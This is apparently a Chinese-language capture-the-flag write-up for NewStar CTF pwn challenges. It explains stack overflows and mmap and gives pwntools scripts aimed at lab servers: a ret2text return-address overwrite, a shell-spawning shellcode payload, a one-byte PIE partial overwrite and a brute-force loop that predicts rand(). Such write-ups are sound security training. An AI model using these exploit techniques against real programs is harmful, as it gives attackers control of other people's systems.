ret2text
一個簡單的棧溢位
棧溢位指的是程式向棧中某個變數中寫入的位元組數超過了這個變數本身所申請的位元組數,因而導致與其相鄰的棧中的變數的值被改變。這種問題是一種特定的緩衝區溢位漏洞,類似的還有堆溢位,bss 段溢位等溢位方式。棧溢位漏洞輕則可以使程式崩潰,重則可以使攻擊者控制程式執行流程。此外,我們也不難發現,發生棧溢位的基本前提是:
- 程式必須向棧上寫入資料。
- 寫入的資料大小沒有被良好地控制。
Stack保護沒開
很明顯的棧溢位了,填入32+8個垃圾資料然後把後門地址覆蓋掉返回地址
指令碼
from pwn import *
con=remote('node5.buuoj.cn',27766)
# elf=ELF('./ret2text')
backdoor=0x4011FB
con.recvuntil("Welcome to NewStar CTF!!\n")
con.recvuntil("Show me your magic\n")
con.send(b"a"*40+p64(backdoor))
con.interactive()
ezshellcode
void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset);
void *mmap{
void *addr; //對映區首地址,傳NULL
size_t length; //對映區的大小
//會自動調為4k的整數倍
//不能為0
//一般檔案多大,length就指定多大
int prot; //對映區許可權
//PROT_READ 對映區比必須要有讀許可權
//PROT_WRITE
//PROT_READ | PROT_WRITE
int flags; //標誌位引數
//MAP_SHARED 修改了記憶體資料會同步到磁碟
//MAP_PRIVATE 修改了記憶體資料不會同步到磁碟
int fd; //要對映的檔案對應的fd
off_t offset; //對映檔案的偏移量,從檔案的哪裡開始操作
//對映的時候檔案指標的偏移量
//必須是4k的整數倍
//一般設定為0
}
引數start:指向欲對映的記憶體起始地址,通常設為 NULL,代表讓系統自動選定地址,對映成功後返回該地址。
引數length:代表將檔案中多大的部分對映到記憶體。
引數prot:對映區域的保護方式。可以為以下幾種方式的組合:
PROT_EXEC 對映區域可被執行
PROT_READ 對映區域可被讀取
PROT_WRITE 對映區域可被寫入
PROT_NONE 對映區域不能存取
引數flags:影響對映區域的各種特性。在呼叫mmap()時必須要指定MAP_SHARED 或MAP_PRIVATE。
MAP_FIXED 如果引數start所指的地址無法成功建立對映時,則放棄對映,不對地址做修正。通常不鼓勵用此旗標。
MAP_SHARED對對映區域的寫入資料會複製迴檔案內,而且允許其他對映該檔案的程序共享。
MAP_PRIVATE 對對映區域的寫入操作會產生一個對映檔案的複製,即私人的“寫入時複製”(copy on write)對此區域作的任何修改都不會寫回原來的檔案內容。
MAP_ANONYMOUS建立匿名對映。此時會忽略引數fd,不涉及檔案,而且對映區域無法和其他程序共享。
MAP_DENYWRITE只允許對對映區域的寫入操作,其他對檔案直接寫入的操作將會被拒絕。
MAP_LOCKED 將對映區域鎖定住,這表示該區域不會被置換(swap)。
引數fd:要對映到記憶體中的檔案描述符。如果使用匿名記憶體對映時,即flags中設定了MAP_ANONYMOUS,fd設為-1。有些系統不支援匿名記憶體對映,則可以使用fopen開啟/dev/zero檔案,然後對該檔案進行對映,可以同樣達到匿名記憶體對映的效果。
引數offset:檔案對映的偏移量,通常設定為0,代表從檔案最前方開始對應,offset必須是分頁大小的整數倍。
返回值:若對映成功則返回對映區的記憶體起始地址,否則返回MAP_FAILED(-1),錯誤原因存於errno 中。
錯誤程式碼:
EBADF 引數fd 不是有效的檔案描述詞
EACCES 存取許可權有誤。如果是MAP_PRIVATE 情況下檔案必須可讀,使用MAP_SHARED則要有PROT_WRITE以及該檔案要能寫入。
EINVAL 引數start、length 或offset有一個不合法。
EAGAIN 檔案被鎖住,或是有太多記憶體被鎖住。
ENOMEM 記憶體不足。
好像沒什麼用,主要就是開闢了一個空間,然後後面的jump可以跳轉過去
這個題可以透過pwntools的工具生成shellcode
指令碼:
from pwn import *
sh=remote('node5.buuoj.cn',27556)
context(os='linux',arch='amd64')
sh.recvuntil("Show me your magic\n")
payload=asm(shellcraft.sh())
sh.send(payload)
sh.interactive()
newstar shop
money此處是unsigned int 只要想辦法給他溢位就可以獲得很多很多money
dont_try這裡沒有check的邏輯
可以把錢花到50一下然後呼叫一下就能出
p1eee
這個題開了pie保護
我理解的pie保護 程式可能被載入到任意位置,所以位置是可變的。
然後存在後門函式shell
然後在函式里
存在棧溢位
如果沒有PIE——簡單的ret2text,在vuln中的read處將程式執行流劫持到後門函式處即可。
然而存在PIE——所有的地址都是從一開始隨機確定的,但是相對偏移量保持不變
但是這個地方只存在0x29-0x28僅一位的溢位
觀察一下函式地址和後門地址的關係
在 ELF 檔案中,對齊是指將各個節(section)或段(segment)的地址和大小調整為特定的倍數。對齊的目的是為了記憶體管理的效率,因為現代作業系統和硬體通常按頁對記憶體進行管理。
在 ELF 檔案中,頁的大小通常是 4KB(0x1000 位元組)。為了對齊節或段,需要將其地址和大小調整為頁大小的倍數。
指令碼:
from pwn import *
sh=remote("node5.buuoj.cn",28424)
sh.recvuntil("A nice try to break pie!!!\n")
sh.sendline("a"*0x28+chr(0x6c))
sh.interactive()
Random
腦筋急轉彎
from pwn import *
from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
for i in range(1000):
p = remote('node5.buuoj.cn',28116)
mylibc = cdll.LoadLibrary('libc.so.6')
mylibc.srand(mylibc.time(0))
try:
v6 = mylibc.rand()
v3 = mylibc.rand()
v4 = mylibc.rand()
if((v3%5 == 2)and(v4%2 == 1)):
p.sendline(str(v6))
p.interactive()
except:
continue
finally:
p.close()
sleep(1)